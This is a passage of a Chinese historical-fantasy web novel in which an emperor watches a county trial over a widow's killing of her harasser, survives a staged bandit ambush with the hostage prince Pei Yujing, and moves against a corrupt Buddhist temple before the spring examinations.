话及此处,夏时重看了眼同样被提到公堂之上的小厮,“你叫刘家娘子多绣几条帕子,又意外瞧见过酒肆小二与张秀才的交易,便也想获利,不仅仅是拿帕子给张秀才,还使了点法子,让张秀才和刘家娘子见了面。” 小厮虽是证人,但被抓捕审问之前就身负了伤,浑身狼狈邋遢,俨然一副被拷打过的模样,瑟瑟发抖哪敢辩驳半句,忙不迭点头:“都是小的鬼迷心窍,都是小的做错了,求大人开恩留草民一命,草民愿意认罪,给草民一个痛快吧!” 即便民风开放,可只要是女子孤身一人与男子私下相见,便是不妥。 堂外指指点点。 刘家娘子神情慌乱,“我没和他见过,我没有……” 布庄掌柜沉着气:“够了!人是我杀的!”他抬头看向夏时重,“大人,杀我给他抵命就是。” 夏时重面不改色地看着李掌柜,“倒是硬气知道抗事,也不难怪她们两个弱女子,肯帮你杀人。” 此话一出,布庄掌柜脸色也白了,楼娘上前猛地跪在夏时重脚下,连番的重重磕头:“大人明鉴,与他二人无关,簪子是我的,下药的是我,杀人的也是我,大人明鉴万万别再难为无辜之人。” 县丞见状,面色沉重道:“无辜与否,岂是你一句话就能定论?拖下去,莫要搅乱公堂。” 官吏将楼娘拉到一旁,以免影响公堂秩序。 县丞翻着案卷,静静看着布庄掌柜,“李掌柜,事到如今,你还不肯说真话?” 静默片刻,李掌柜认命低头,道:“去年夏日,草民见张秀才掏出擦汗的帕子上有刘家娘子绣过的针法,当下惊出一身冷汗,事关刘家娘子名誉,草民不敢随意断言,便旁敲侧击地问了几句,这才得知,帕子是从布庄流出的。” 他道:“草民的长姐蒙受冤屈而死被浸猪笼,草民不敢以女子名节做玩笑,以商谈绣法的名义,邀了刘家娘子在铺面见了一回。” 刚见面,李掌柜便一眼认出了刘家娘子头上的簪子,是楼娘之物。 又见刘家娘子眉眼间萦绕着愁绪,多问了几句,只是刘家娘子一句也不肯说,谈过生意后就尽快离开了。 李掌柜心有疑虑,怕刘家娘子遇上难事,拿了点银两跟去田庄,打算先借给刘家娘子。 谁知瞧见了张秀才尾随在刘家娘子后头进院。 随后不久,楼娘急匆匆地赶过来,在院中一阵打砸,揪着张秀才出门之后,李掌柜才敢进去。 刘家娘子正拿着白绫要自缢,他紧忙将其救下。 “草民救下刘家娘子之后,娘子痛哭了一场,叫草民快些跑,说张秀才惦记上了布庄生意,打算与小厮合谋,杀了草民取而代之。”李掌柜道。 那小厮是家奴,有卖身契在,否则李掌柜平日也不会叫他给刘家娘子传话,谁知此人竟如此胆大,不仅是借着他的名头去害刘家娘子,还要吞了布庄。 背主的奴,就算是打死也没人敢说半句不是,只是李掌柜心善,念在小厮从小跟随的份上,留了他一条命,但日子好过不到哪儿去。 故此昨夜大理寺金刀侍卫找上门后,小厮巴不得早点结束这苦日子,一股脑全都交代了。 这才有了小厮一身的伤。 小厮道:“奴有罪,奴故意用李掌柜的名头,把刘家娘子骗出来和张秀才见面,还假扮李掌柜带张秀才去田庄。” 他的身形与李掌柜相差无几,偷穿掌柜的衣裳,以帷帽遮起面孔谎称起疹子,便足以以假乱真。 故此酒肆小二所瞧见的,实际上是小厮与张秀才。 酒肆小二道:“草民为了钱财出卖同乡,愧对刘家娘子,又怕张秀才对刘家娘子不利,在得知张秀才常去花楼与楼娘相会之后,便找机会与楼娘通了个气。” 花楼不仅仅是要各种时新好看的布料,也要醇厚的美酒。 酒肆给花楼送酒,泌阳地方也不大,低头不见抬头见的,酒肆小二认得楼娘熟知其为人,这才敢出言相告。 县丞问楼娘,“你可有冤要辩?” 第47章 “有什么好辩的,话都叫他们说完了。”楼娘冷笑道,“人就是我杀的,再怎么审也是我杀的。” 县丞蹙眉警告:“楼娘,不可妄言!” “大人可知人言可畏的道理?”楼娘替刘家娘子拭去眼泪,指着堂外看戏的百姓们,“若我们是凶手,那么他们所有人,有一个算一个,都是帮凶!” 众人哗然,夏时重神情凝重,默然不语。 刘家娘子忽地叩首,哑声道:“民妇认罪,愿重写供词,此事与楼娘无关,恳请大人法外开恩。” …… 供词刚写好没多久,就有一份到了县衙对面的茶楼。薄薄的纸背透出墨色字迹,师离忱低眼看去。 新雪下过的第二日,楼娘下帖宴请多人赏雪,同时也邀了张秀才与李掌柜。 宴后第二日张秀才失踪。 楼娘与李掌柜相好,自从知晓张秀才图谋不轨后,便处处替刘家娘子化解危机,偶然一次,张秀才最后说漏了嘴,她便起了心思。 趁着宴会人多杂乱,以迷药灌倒了张秀才。 她没想着杀人,只打算将人捆着关起来。 而刘家娘子家中有两个地窖。 有一个是当初刘大郞出征前挖的,留着给刘家娘子避祸所用,旁人不知。 趁着夜黑人杂,张秀才被五花大绑了丢在了刘家娘子的地窖。 刘家娘子念及李掌柜恩情,又与张秀才又旧恨,并不打算留此人性命,便拿着那根簪子做钉,以石做锤,一点一点的,敲进了张秀才的头骨。 楼娘药量下得够大,刘家娘子敲得够狠,张秀才根本没有醒过来的机会,就进了假死。 张秀才没了呼吸后,刘家娘子便将人抬上牛车,准备连夜把人埋了,被酒肆小二撞见。 小二不知出于什么心思,未揭发刘家娘子,反倒协助起刘家娘子挖坑,不过雪下得很大,两个人手冻得哆嗦,他人又瘦小,无法挖得过深,将人埋进坑中后,等第二日清晨痕迹就被雪消去了。 张秀才失踪,报案后府衙查过一段时间,总之等楼娘得知这事时,已然晚了。 此件案发后,楼娘并未撇清关系,而是选择一同承担。以及李掌柜,也想分担一份。 只是他们的串通,在大理寺面前,显得格外稚嫩。 大理寺只需将所有人分开审讯一夜,就能在得到的供词里,找到关键作案证人,从犯,并全部带到公堂之上。 他们毫无施展的机会。 刘家娘子始终不后悔杀张秀才。 张秀才的纠缠,在小小的泌阳哪能没有蛛丝马迹,那些风言风语如同蚀骨之蛆,时刻趴在她的身上。 她累极了。 又得知张秀才想害她的恩人,干脆一不做二不休。 谁能想到杀鸡都怕的刘家娘子,能果断地杀人埋尸。 这样的案子,大理寺有很多卷宗。 而此刻真相大白,县丞正在按律分配量刑。围在县衙之外的百姓,没了热闹看,也在陆续散去。 师离忱将纸张轻轻地放在茶盏旁,乐福安小心观察着圣上的神情,低声道:“公子,可要回了?” “再等等。”师离忱淡声道。 裴郁璟从房顶一跃落地,察觉到有目光投来,抬头对上了帝王垂来的目光。师离忱招手,“上来。” …… 审案中途暂停了一次,眼下已近午时。 裴郁璟上茶楼时,顺手带了几个热乎的饼子上来,他若无其事地吃着饼,“都散场了,没什么可看的。” 师离忱漫不经心地瞥他一眼,瞧他吃得香,伸手掰了半块尝尝,面皮里包着角豆吃着新鲜。 裴郁璟陡然顿住,看着手里缺了一块的饼,又看了看师离忱葱白修长的手指中捻着的饼,嘴角微微上扬。 师离忱慢吞吞地吃完一块,用帕子擦拭着手,起身道:“走吧。” 下一个去的地方是泌阳邻旁的桐柏。 视察春耕一趟,圣上要钓的鱼还没咬钩,他怎会轻易回程。 嫌马车太闷,师离忱依旧与裴郁璟并肩骑行。 师离忱淡淡看了眼裴郁璟的神情,转而将目光望向前方,“怎么,头一回接触这样的案子?” “是啊。”裴郁璟慢条斯理道,“公子特意叫我看这一出,总不能只是叫我看个热闹,要我做什么?劫狱?” 师离忱眸波平淡,“错了,就是让你看的。” 裴郁璟看向师离忱。 师离忱面不改色,语调平常,“战事一兴,类似这样的遗孀家眷只多不少,你救得了一时,救不了一世,天下安定百姓才能安稳。” 裴郁璟面上的笑意淡了淡,看着师离忱的眼神沉了沉,意味不明道:“这只是件小事,成大事者不拘小节。” “你懂什么。”乐福安从马车里探出脑袋,不满地瞪着裴郁璟,“身为寡妇,总会被言语负累,被目光指点,活在所有人的审判下。” 他认真道,“世人眼中,寡妇守贞是应该,改嫁是放荡,被人纠缠是不检点,她怎么做都是错,被逼到绝路只能破釜沉舟。” 裴郁璟眉头轻敛,若有所思。 纵然在县衙看了案子全程,他依旧不能理解为什么几句只言碎语就能毁灭一个人的意志,审案结束后,那刘家娘子还想撞柱自裁。 师离忱瞥一眼裴郁璟,唇边带着一抹若有若无的笑意,“决定是否开战也要分时候。” 他懒懒道,“年前南晋边军压境那回,朕不怕战,但不该开战。所以就算没有鞑靼掺和其中,朕也能让那战也打不起来。” 两国战事刚停,月商打下了三座城池,委实没必要再与南晋相战,故此他做了两手准备。 一是以同样的方式,大军压境,二是通知南晋一步暗棋,时刻准备鼓动起义。南晋内斗严重,要平叛,自然就顾不上和月商相斗。 不过裴郁璟恰好出现,让师离忱省了这步暗棋。这步棋埋了十来年,他实在舍不得动用。 而这世道,国不一统,立场不同,战事迟早要再兴。 所以有些战还是要打的,圣上野心很大,三座城池怎么够,他想把南晋一口全吞下。 裴郁璟拉长调子叹了声,“一腔真心白费啊。” 师离忱笑骂了句,“别辱没真心。” 谈话间,最前方的郞义突然警觉抬首,裴郁璟也收了笑脸,目光扫向周边茂密的山林。 此处偏僻,道路弯曲,最适合截道。 风声紧俏,处处透着一股肃杀之气,郞义沉声提醒,“有异响,公子不若先进马车。” 师离忱不紧不慢地转起玉戒,叹了一声,“来来回回,就这两招浅显的手段。”鹿亲王真是蠢得无可救药。 他看了眼裴郁璟,好奇道:“你怎会与这等蠢人合作。” “因为他蠢。”裴郁璟坦然回答,“吹嘘他几句,他还真信自己是这世上最英明神武的君主。” 越蠢越好操控,让幕僚吹捧两句,就膨胀的养起私兵。可见蠢货手里有权柄,是一件十分可怕的事。 林中窜出了人影,蒙面山匪猛然蹦出,无数绳镖向着众人抛了过来。 师离忱嗓音微沉,唤道,“福安。” 语毕。 乐福安如影一般,从马车中窜出,将一把君子剑抛向师离忱。 他自己手上也拿着一把用剑如花,寒芒飞闪,斩退袭来的绳镖,一张老脸笑出花来,“好久没活动身手了,老奴这把骨头都有些松了。” 郞义佩刀出鞘,刀刃交加,已与山匪斗在一块,身手利落如行云流水。 裴郁璟侧目,见师离忱正好整以暇地观望,隐约有欣赏之色,顿时叫他起了好斗之心。 腰间软剑探出,裴郁璟驱马上前,一剑刺穿郞义面前的山匪,嗤道:“统领,比比?” 郞义面色沉着,一言不发,只冷冷看了眼裴郁璟,便继续杀敌。 二人英姿勇猛厮杀狠辣,一时间没有山匪能靠近师离忱,哪怕有一两个漏网之鱼也都被乐福安一剑洞穿了。 师离忱拿了把剑反倒是无用了。他干脆歪着脑袋,饶有兴致地看起了二人比拼似的搏杀。 嗯…… 赏心悦目。 眼见山匪越来越少,躲着的青年坐不住了,骑着马冲出来,大呼一声:“光天化日,竟敢行凶!” 也加入了厮杀之中。 大半的山匪折损,其余山匪畏惧地退去,四散奔逃,郞义冷声道:“我,十八个。” 指的是所杀山匪。 裴郁璟慢条斯理道:“二十一,略胜你一筹,承让。” 说这话的时候,他眼神遥遥望向了师离忱,扬了扬下巴,骨子里那点傲然不羁全都露了个底。 师离忱莞尔,打趣道:“你瞧他那样。” 乐福安捂唇笑道,“小宠讨赏呢。” 半路冲出来的青年见无人搭理他,忍不住出声,“诸位……” 话刚出口,“嗖”一箭凌空飞出,正中靶心,接着又出来嗖嗖两箭,补得死死。 青年不可置信地看着师离忱,眼里还有未散的恐惧,可惜一句话也说不出来,便断气倒下。 师离忱整理藏在腕间的袖箭,惋惜道:“可怜。” 鹿亲王这一出,不过是为了在他身边埋暗桩,培养一个暗桩不容易,况且暗桩都是死心眼,有策反的功夫不如开场科举。 走这条无人的道,就是专门钓鱼呢。 又怎会给鱼儿机会。 算算日子,等回京都处理了九华寺,也该把科举提上日程了。书中男主的官配探花郎,这都还没男主碰面呢。 师离忱意味颇深地看了眼裴郁璟。 诡异的眼神,瞧得裴郁璟无端感到背后发凉。 小皇帝这是打得什么主意?又哪里惹他不高兴了?莫非皇帝是想拿袖箭,也给他心口来两下? * 从桐柏走了一道,又去了趟南阳府,往水坝的位置走了一圈,确认了水位以及耕种情况无虚报后,便打道回府。 等马车到了京都郊外,已然能瞧见陆续盛开的桃花。 乐福安拿着密信看了看,轻声地为圣上念着,“京兆尹前些日子抓了几名学子,不知如何处置,特来请示圣上。” 候补上位的京兆尹,做事小心谨慎的很,生怕出错惹恼圣上。 这几名学子来到京都,吟了几首败兴之诗,京兆尹怕他几人扰乱人心,这才把人全都关押起来。 师离忱虽非什么大肚之人,但也不至于为了几句诗词歌赋,就兴起文字狱。 “教训一番,便放了吧。”他语气轻飘飘的,给这几人一条活路,“若真是有本事的,就该在琼林宴站到朕面前来吟诗。” 乐福安笑着应和:“只怕污了圣上的耳。” 这次回京都,穆子秋没跟着回来,怕镇国公着急上火,趁着回宫前,圣上叫郞义去传了个口信。 裴郁璟在马车外,随手掰了一半烤红薯递给圣上,“那个没脑子的也能办事?” “你别小瞧他。”师离忱睨着裴郁璟,眼梢弯了弯道:“穆子秋还是有些本事在的,只是缺了点历练罢了。” 然而师离忱说了什么,裴郁璟权当耳旁风了。 他正紧盯着圣上吹着烤红薯,又轻轻咬了一口的双唇,唇上沾了一点红薯泥被一抿舔去,泛着淡淡水色。 瞧得他心痒,想给圣上再喂几口。 第48章 离京短短一月,内阁处理事情有条不紊。 若有无法做决策的事会以密信的形式传给圣上,因此外出以来不曾遗漏任何一件要事。 其余可以延后处理的,则堆积在了圣上的御案前。 师离忱又开始紧锣密鼓地批起奏折,忙得不分白昼。 监察司也发挥出了它该有的作用,将搜集到的有关九华寺的罪证,乃至良田,各种侵占,引子钱,诱赌,甚至还发展了…… 私通。 朱笔上的红墨落了一点在纸上,师离忱眉头轻拧,看着上头的记录。 那位监察司的人才,混进了九华寺的和尚内部。九华寺声名广泛,求财,求福,求子等等,几乎都有。 可求子这一路门道就多了,九华寺挑选和尚的要求高,年轻俊秀的不在少数,又有和尚这层身份做掩饰。 一些常去礼佛的贵夫人,求子心切的,便借居佛寺,由和尚代劳。 有些家中夫婿宠妾灭妻,心灰意冷之下与俊和尚有了感情。而有得纯粹就是为了取乐,只要不闹到台前,就不会失了脸面…… 月商风气并不闭塞,可人与人之间更爱给自己上枷锁,例如花街有花楼,有小倌馆,但大多接待的都是男子。 女子又不好光明正大的养面首。 而九华寺这条产业链已然完善成熟,从先帝时期就发展了,从调查信息来看是一团乌烟瘴气。 私通算不得什么,更严重的是诱赌,私底下参与赌坊的建立,又放出高额的印子钱,从而延展出一条产业链,直到把人榨干最后一滴价值油水才肯罢休。 简直烂到了根! 师离忱压着心头怒意,这群人做什么和尚,为了牟利几乎所有勾当干尽,踩在灰色的线来回蹦跶。 嚣张! 世家尚且要脸面,这九华寺却是要将人敲骨吸髓。 “嗷呜呜——” 腿边拱来一个大脑袋。 师离忱低眼,对上小汤圆的蓝眼珠,兽类不懂人类的悲喜,只知道圣上冷落了它,很是不满地呜呜叫。 被大猫眼神盯得心头一软,师离忱伸手摸了摸它。 大猫夹着嗓子又叫了一声。 大猫快有一个月没见圣上了。 一个冬天过去,它的体重成倍增长,快涨到了三百公斤的大老虎,思念都成了厚重的爱,圣上刚回宫那会儿,扑过来险些没把圣上捂死。 它四脚着地的站在御案前,脑袋几乎与桌齐平,与师离忱挤在一处,将空间压缩得格外拥挤。 大猫不满意师离忱只摸一下就收回手,昂着脑袋不断拱来。 “别闹。”师离忱用奏疏拍了拍它的大头,“趴下,朕忙完再陪你玩。” 打得不疼,但小汤圆耳朵往后缩了缩,它转了个圈,用爪子扒拉了两下圣上的衣摆,这才心满意足地趴在了龙椅旁。 师离忱回过头,继续审理奏折。 私通一事自然不能公开处理,否则但凡去过九华寺的闺秀家眷都要背负上一层污名。 监察司已安排人悄悄地把九华寺包围起来,大理寺处理的月商各地佛寺情形也有了进展。 朱笔批下诏书,师离忱望着这份御令,眼底透着一股森冷的寒意,灭佛与否仅一念之间。 思索再三。 师离忱又觉得不能太过独裁。 高祖帝当年起义打下江山,九华寺也出了一份力,否则以高祖帝的性子不会留这么个祸害。 先帝就不一样了,先帝做事从来不计后果,隔一段时间就登山礼佛,祭祖礼佛,硬是把九华寺高高捧起,成了眼下这个地位。 九华寺开国有功,一锅端了御史台必然要行弹劾。 但师离忱不在乎。 这帮尸位素餐的和尚,正事不做,满肚子男盗女娼,祸害佃户祸害百姓,引诱常人染赌,实在可恨该死,不杀难解师离忱心头之恨。 定要整治一番,将所有佛寺都处理一番。 裴郁璟拿着一把大梳子回紫宸殿,就瞧见帝王支着下颌,眉眼压低,浑身萦绕着一股阴沉沉的戾气。 他放轻脚步走近御案,小汤圆习惯了裴郁璟身上的气息,对其靠近并无反应,只转着眼珠子看他。 待裴郁璟到了案前,刚探出了头,就被一根手指戳到了眉心,抵住。 师离忱漫不经心地撩起眼皮,似笑非笑道:“真是胆大包天,连朕的奏折都敢来看上几眼了?” “见不惯圣上苦恼,特来为您排忧解难。”裴郁璟咧嘴一笑,毫无身为敌国质子的自觉。 师离忱搭着扶手,好整以暇地将半个身子歪靠在椅背,唇边笑意玩味:“行,你说。” 他倒要看看书中一统江山的男主阁下,能说出点什么东西。 诏书上一个明晃晃地“杀”被圈起来,笔锋凌厉,似一股杀气势如破竹般迎面袭来。 裴郁璟打眼瞧过诏书内容,“原是要处置恶僧,想必要杀的挺多,何不叫璟代劳?” “这就开始和朕要官职了?”师离忱笑盈盈地望着他。 裴郁璟举着那把大梳子,蹲下身给小汤圆梳毛,冬季过去了大猫身上厚厚的毛发要换,最近开始掉毛,常要人帮着梳开。 “圣上给吗?”他道。 师离忱哼笑一声,“不给。”他有的是人办差,还犯不上用裴郁璟去处理这些问题。 他不紧不慢道:“不过朕能给你机会,手刃南晋帝。” 说着,师离忱身子微俯,目光灼灼地看着裴郁璟,嗓音低哑中带着一丝蛊惑:“仇苍,要吗?” 裴郁璟梳毛的动作一顿,陡然抬眸对上帝王野心勃勃的眼神,骨子里生起一股战栗感,鲜血都在沸腾。 几乎是从牙缝里挤出的一个字。 “要!” 目标达成一致,师离忱开怀大笑。 * 春闱将至,太师与太傅年岁渐涨且职务繁多,哪能事事都叫他们做,总要叫老人家喘口气。 内阁尚无首辅,一直由太师代掌,太师历经三朝年纪大了见朝政稳定,师离忱回宫没多久,便提了告老还乡一事。 以太师的职位,告老还乡提出来,不可能马上就卸任,师离忱按流程先拒。 他不是没考虑过太师的年纪,因此在监察司确立之后,正慢慢的卸下太师身上的担子。 这样一个鞠躬尽瘁的老臣真要放走,从心里的角度,师离忱有些舍不得,可再不舍也得舍。 太师如今六十五岁高龄,是月商立国以来的第一批臣子,这个年岁在这个年代,是会被称之为高寿的程度。 师离忱怕太师身子不适,拒绝老太师辞官过后,顺带拨了两个太医过去,待下次太师再提辞官,就该挽留后批准了。 后续准备要做好。 重新定一个新首辅是主要问题。 第49章 在有意放权的前提下,师离忱从内阁挑了一圈,最后选中了殿阁学士柳清宁,定其为今年的春闱主持。 太师也说,“此子稳重聪慧,可堪大用。” 柳清宁入朝为官短短四五年,从翰林院编修爬到内阁大学士,除了师离忱的暗中提拔,同样也有太师赏识的缘故。 春闱事关国本,柳清宁深知圣上看重,不敢怠慢分毫,叩首道:“臣定会竭尽全力,为月商,为圣上,选拔人才。” “起吧。”圣上懒洋洋道。 看着柳清宁起身,眼睛抬都不敢抬的模样,师离忱忍俊不禁道:“倒也不必如此板正,朕又不吃人。” 闻言,柳清宁只恭敬地低下头去,不吱声。 “你呀,就这点不好,死板。”师离忱看着他,叹道,“瞧瞧这德行,像和太师一个模子刻出来的,朕同你说笑呢,你连个表情都没有。” 柳清宁不知圣上何意,扯了扯嘴角,给圣上扯出了一个僵硬的笑。 明明是张挺隽秀俊俏的脸,这一笑起来还不如不笑。 “走走走。”师离忱摆了摆手,不勉强他了。 话音落下,柳清宁敛起嘴角,安安静静地作揖退下。只在转身时,不着痕迹地瞄了眼圣上,又沉默的快速收回眼神。 御书房回归沉寂。 师离忱有些疲累,缓缓揉起胀痛的太阳穴,吩咐外头,“叫候着的那个进来。” 乐福安收到口谕,笑眯眯地拍醒靠柱打瞌睡的穆子秋,“世子快醒醒,圣上唤你呢。” “啊?”他两眼惺忪睁开,身体反应比大脑诚实,霍然站起往殿内走。直到与柳清宁擦肩而过,被拍了一下,才彻底醒过神来。 好险,差点在圣上面前出丑了。 穆子秋快速整理了一番仪容,人模人样地进了门,开始述职。乐福安则看着逐渐落幕的日头,计较着圣上晚膳什么时候传合适。 …… “人送去绣坊了?”圣上头也不抬地问。 穆子秋颔首道:“是,楼娘与刘家娘子都送去了,与坊主交代过,是要犯,三年死契过后才能转为常工。” 这项律法暂且未在月商境内颁布,一是不好实施,二是真正厉害的坊织产业,不在月商。 南晋的纺织产业最大,寻常百姓以娶绣女或织女为傲,单是一个织女在家中织布补贴,顶得上半数开销。 从另一种方面来说弥补了南晋农耕不足。 而月商在这方面切实不如南晋,织布要养蚕,养起来难,但女子多数绣活精湛。 从优势入手改动要简单些,加上考虑到女犯多方面的犯案因素,可以酌情调到绣坊当劳工。 毕竟是犯了案的,要银子不行,留一命留口饭。 这样的绣坊有许多,若来日天下一统,与南晋织坊合并起来也容易。 师离忱思索片刻,问他:“叫你结党营私,你结了几个?” “圣上没处置林家之前,有十多个想去我家送礼,圣上处置完林家后,这些人收敛了些,不过自从我爹回京后,有三四个没办法进国公府大门,便想办法和微臣套近乎。” 穆子秋认真回想,一个个数过去,“国子监刘司业,守备所千总,右都御史……” 一边说着,他一边观察着圣上的神情,圣上批阅着奏折,眉毛都没抬一下,甚至连朱笔都没停顿片刻。 直到穆子秋报完,师离忱才不疾不徐地回了句,“知晓了,辛苦你了,给你放几日假,歇去吧。” “不辛苦!”穆子秋呲着个大牙刚想说不用歇息,就听圣上慢条斯理道:“春闱将近,近来京都府来了许多举子,到处都忙,京兆尹上任不久难免畏手畏脚,你去帮忙疏通。” 师离忱抬眼看了看穆子秋,故作苦恼道:“听闻其中有些学子对朕很是不满,还作诗骂朕。京兆尹虽训斥过他们,可读书人到底迂腐,难保不会再来,朕思来想去,还是你处理去最合适,爱卿不会叫朕失望的对吗?” 如琉璃般的圣上,只需眉心轻拧着,眸露几分惆怅,便足以让穆子秋慷慨激昂,他信心满满:“臣一定办好!” “去吧。”师离忱敛了神情,语气轻轻地把人打发了。 * 春闱之前,一道诏令措不及防的被颁布,除开知晓内情的监察司与大理寺。 满朝文武几乎震惊哗然。 月商所有佛寺僧人勒令还俗,涉及外放印子钱的一律该斩的斩,该流放的流放,刺字的刺字。 单隐瞒了私通,只公布九华寺所犯恶行,以及在九华寺后山挖出的一百三十多具尸首。 大理寺对应经年来陆续失踪的名单,通告家眷前来辨认,有些已化白骨难分出是谁,而有些还没完全腐败烂掉的,被认出特征领了回去。 师离忱并非一杆子打死,就此禁佛,而是给出家定了个门槛,不论做僧做道都得考校。 过了考才能正式出家,拿到祠部牒,也就是度牒。且拿到度牒后,三年为期,三年后要继续试经,不合格者勒令还俗。 此事由礼部的祠部管理,手续流程要马上完善,月商佛寺不知凡几,骤然一下全部还俗,必然有一批是要来考度牒的。 礼部侍郎刚为春闱做好准备,陡然间被安排了这么大一个活,汗都快流完了,紧急从翰林院借调书吏帮忙。 在朝会颁了这么道诏令后,御史台纷纷上奏求三思。走流程的事师离忱就懒得看了,全都打回内阁。 为了九华寺和春闱忙碌这么久,闲暇空隙就要找点逗乐。 他在殿内扫了一圈,“朕的小宠呢?” “不知。”乐福安摇头,又抱怨道:“小宠有两三日没到圣上跟前伺候了,又不在宫中,怕是在外头玩野了,圣上得给他点颜色瞧瞧,让他知道谁才是主。” 师离忱看着乐福安一副义愤填膺的神情,忍俊不禁道:“可朕瞧你也不是那么讨厌他。” “那还不是圣上偏疼他。”乐福安嗔怪地看了眼师离忱,面上毫无半分不悦,眼角笑得满是褶子,“况且他来之后,圣上越来越有活气了,老奴看着高兴,自然能给他几分好脸色。” 第50章 乐福安站到师离忱身后,轻轻地为圣上揉着太阳穴,以缓解近日忙碌带来的疲累感。 殿中静谧。 香炉一壶青烟升起。 他看着那淡淡散开的一线烟,轻声细语道:“圣上,老奴伺候着您长大,老奴最熟悉圣上的一言一行,说句逾矩的话,您待裴质子是愈发的纵容了。” 放从前,裴郁璟这样的哪能近得了圣上周身三丈,更别提是和圣上睡在同一个殿内。 从一开始,圣上待裴郁璟就有一种别扭的宽容。 起初他还能看到圣上眼底的杀意。 不知为何又忽然改了主意,不杀裴郁璟,要把质子当宠养。 可说是养小宠,吃喝没短半点,御膳房少的那些吃食谁去追究过了?后头又给裴郁璟金吾卫的官服。 字字句句引导着裴郁璟行事,又教他看黎民。 这哪里像是养宠。 但乐福安不敢说,圣上这般行径,与当年先帝养圣上的举措简直如出一辙。 根本就是教养皇子的做派。 他也拿不准圣上究竟是个怎样的想法,但裴郁璟既然能让圣上开心,那就有他存在的必要。 师离忱想知道裴郁璟这些天到底在宫外做了些什么,自然就有探子递上圣上想要的信息。 意想不到的是。 短短两三日。 裴郁璟竟在京都城混成了个风云人物。 年前的那场迅马会,夺得魁首的裴郁璟本就名声大臊,加上后头镇国公庆功宴上他曾露过面,京都城中又多半在传君上苛待裴质子,自然让人对这位质子有几分同情与探究。 可惜这位裴质子到了月商近半年,都不曾在公开场合露过面。 直到三日前。 宗亲纨绔们,在京郊马场举办了一场蹴鞠赛,裴郁璟突然出席其中,并在助公子哥们在赛场上夺了个好名次。 贵公子们一瞧。 嘿!这裴质子不似传言中那般委曲求全,反倒张扬得很,打扮得那叫一个贵气,哪里落魄了! 必是有过人之处,才会让圣人留在宫中多月。 公子哥们惯会见风使舵,加上裴郁璟有很快与他们打成一片,眨眼间就成了炙手可热的人物,谣言不攻自破。 “他这是给朕澄清名声去了?”师离忱挑眉。 乐福安冷哼道,“谁知道这混小子打得什么主意。”异国之人,他怎么着都是瞧不惯的。 师离忱低敛着眸,不疾不徐道:“听说他们要在千鹤楼摆宴,不如去看看。” 蹴鞠赛后,宗亲纨绔们打算在千鹤楼铺席吃酒,客请文人雅士。 但想想近来京都举子众多,鱼龙混杂,便想着等上一等,三日后办宴,顺带筛一筛人选,学识糊弄者可进不了宴。 “算算时辰,是今夜摆宴。”乐福安从善如流道,“奴才这就叫郞统领去做些准备。” * 黄昏已过,入夜时分。 为庆春闱到来,千鹤楼的檐下挂了长串的红灯笼,三层高楼打眼看去,笼罩在红光之下宛若有冲天喜气。 以千鹤楼的价,要摆宴光靠一个人可出不起,哪怕是侯府也得掂量掂量分寸,值不值得。 所以今日摆宴没有明确的东家,全由几个公子哥们凑钱,当今天子的同胞死得只剩一个不在京都的逸王,除了一个鹿亲王与帝王血脉相近,其他宗亲几乎与圣上挨不到什么边。 也多亏挨不到边,否则早在圣上登基之前就死透了。 因此宗亲里,除了亲王与逸王,那么只剩下被封闲职的小郡王是地位最高。 鹿亲王自不会参加这种年轻人的聚会。 年轻一辈的只剩下小郡王最有钱,他和伯爵侯府的其他世子出大头,一些公子哥兜里零用不多的出小头,声势浩大的办起了这场春日宴。 荀嵩一进门就被中央台子上起舞的舞姬吸住了目光,“好大手笔啊,这不是翠柳阁的头牌清倌芍药姑娘吗?她可是一年只登台三回,千两黄金难买一回出山啊。” 说话间,他发觉同行的穆子秋似乎心不在焉,拿扇子在手里拍了拍:“世子爷!回神了!” 穆子秋兴致缺缺,“没什么好瞧的。” 荀嵩耸耸肩,在周围打量一圈,“我记得春日宴有给国子监举子发请帖啊,卫珩一怎么没来?” “卫珩一要攒钱,在后厨帮工。”穆子秋随手在路过小厮盘里拿了串葡萄,眼睛准确无误找到了在和小郡王推杯换盏交谈的裴郁璟。 穆子秋提着葡萄入座,面无表情摘一颗抛进嘴里,比起嚼葡萄他更像是嚼厌憎之人的肉,阴阳怪气道:“小郡王别不是被这南晋人骗了吧?” “话不能这么说。”荀嵩在穆子秋邻座,一脸高深莫测:“这裴质子眼下可是京都大红人,你瞧他那身打扮,怕是南晋十两黄金得一寸的段锦,金丝绣线,腰别高山白玉,没个千两黄金下不来,扮相如此奢靡,定是深受圣上宠信!” 京都公子哥们吃喝玩乐样样精通,眼力也是一等一的好。 荀嵩分析得头头是道,引得穆子秋刮目相看,“你还认识这个?” “靠我爹的俸禄,我这辈子都买不起,还不兴我了解一下?”荀嵩叹息,“我兜里这点银子,怕是连他头上一颗红珠都买不起。” 有人在哀叹。 有人在感慨。 师离忱在二楼,看着底下的裴郁璟,琢磨着道:“他在宫外一向打扮得如此花枝招展?宫中是不是太拘束他了。”像个开屏的花孔雀。 “倒也不是,裴殿下穿着一向低调,也就今日突然改了风气。”郞义低声回禀。 周边人来人往,他也不敢说得太大声,俯身靠近了圣上的耳侧,闻到圣上身上独属的淡淡熏香,他镇定地低下眼。 似乎察觉到楼上视线的窥探。 裴郁璟在于小郡王说话的同时,抬眼往二楼瞥了眼,目光落在师离忱所在的位置眼底眸色暗了暗。 视线对上,师离忱唇角带起一抹弧度,好整以暇地举杯示意,算是打了招呼。 裴郁璟若无其事收回视线,继续与小郡王谈话。 小郡王情绪有些激动,“本王这等奇才,怎能荒废一个闲散名头上,圣上迟早会看到本王有多优秀!” 裴郁璟敛去眼中的那点阴翳,笑容虚伪:“郡王说得是极,待您做出一番成绩,圣上自然会褒奖您,这春日宴办得好啊,京都才子齐聚一堂,定能作出旷古奇诗,一鸣惊人!” 宛若恶魔低语,偏小郡王听进去了,猛地站起身来,举杯呼吁众人:“在座各位不乏榜上有名,文人墨客不拘小节,便开一场曲水流觞!千古留名!” 一呼百应,在场名士纷纷应和,公子哥们也兴奋地涨红了脸,看客也笑呵呵地要跟去看。 千鹤楼后院有专门做曲水流觞的水渠,今日人多,要布置的地方多,雅席铺得要大一些。 参与曲水流觞的多是举子或是有名的文人,稍微有点自知之明的也不会上去凑这个人头,免得在大众面前丢脸。 肚里墨水没几两的贵公子们,便坐在离水渠不远的席面上,心怀期待的等着瞧热闹。 小郡王问裴郁璟,“你怎不参与?” “我读书少。”裴郁璟低头喝酒神色不明,语气听着似是愁苦,“虽是皇子,可在南晋不受父皇重视,连书阁都没去过两回。” 